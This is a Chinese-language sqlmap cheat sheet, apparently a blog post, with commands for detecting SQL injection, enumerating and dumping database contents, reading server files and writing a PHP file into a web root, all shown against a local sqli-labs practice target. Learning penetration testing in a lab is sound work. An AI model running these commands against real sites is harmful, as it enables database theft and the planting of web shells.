简介
Sqlmap是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。它拥有非常强大的检测引擎、具有多种特性的渗透测试器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令
支持的数据库:
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MaxDB
SQL注入技术:
boolean-based blind, time-based blind, error-based, UNION query, stacked queries and out-of-band
枚举数据:
users, password hashes, privileges, roles, databases, tables and columns
快速上手
- 对url进行检测,判断是否存在SQL注入
sqlmap -u “url” –batch
- 获取当前数据库
sqlmap -u URL –current-db
- 获取当前数据库里所有表
sqlmap -u URL -D database –tables
- 获取当前数据库表里的字段
sqlmap -u URL -D database -T tablename –columns
- 获取字段内容
sqlmap -u URL -D database -T tablename -C columnsname –dump
SQLMAP检测参数
1 | --current-user 检索当前用户 |
不同传参方式注入
GET
sqlmap -u
POST
- 从抓取文件中检测
sqlmap -r
- 从指定参数检测
sqlmap –data “uname=1&password=2” -p uname
- 自动检测表单传入参数
sqlmap -u “http://127.0.0.1/sqlilabs2/Less-11/" –forms –batch –threads 10 –current-db
Cookies
sqlmap -r
–level 2 PUT
常用参数
- -–batch 默认选项运行
- –dbs 爆破数据库
- -–technique 指定sqlmap使用的检测技术
- B:Boolean-based-blind (布尔型注入)
- U:Union query-based (联合注入)
- E:Error-based (报错型注入)
- S:Starked queries (通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数,可多语句查询注入)
- T:Time-based blind (基于时间延迟注入)
- -r 读取抓包文件
- -p 需要检测的参数
- –threads 线程数
- -data 传入post参数(免去抓包)
–level
level: 设置检测的方方面面和测试用例
- 默认是1,会尝试POST和GET - 2:Cookie也会加入检测 - 3:User-Agent和Referer也会检测, 更大的值会增加用例量
- –user-agent 指定User-Agent
- –data 指定请求的内容
- –dbms 指定后端数据库,给定后端数据库的类型可以减少减少无关的测试用例.
- –fresh-queries fresh-queries会忽略之前的查询结果,进行重新请求操作
- –flush-session flush-session会清空当前URL相关的session
实战案例
- 读取flag.php文件内容
sqlmap -u “http://127.0.0.1/sqlilabs2/Less-1/index.php?id=1" –file-read “E:\flag.php”
- 将mm.php写入目标网站根目录
sqlmap -u “http://127.0.0.1/sqlilabs2/Less-7/index.php?id=1" –file-write “/home/bb/mm.php” –file-dest “E:\mm.php” –batch
- 默认参数的报错注入检测
sqlmap -u “http://127.0.0.1/sqlilabs2/Less-7/index.php?id=1" –batch –dbs –threads 10 –technique E
sqlmap -r 1.txt –batch –dbs –threads 100 –technique ES –level 3 - 检测POST请求参数是否有注入点
sqlmap -u “http://127.0.0.1/sqlilabs2/Less-7/index.php?id=1" –forms –dbs –batch
- 使用多个tamper进行检测
sqlmap -u “http://127.0.0.1/sqlilabs2/Less-7/index.php?id=1" –tamper “xx.py” –batch –dbs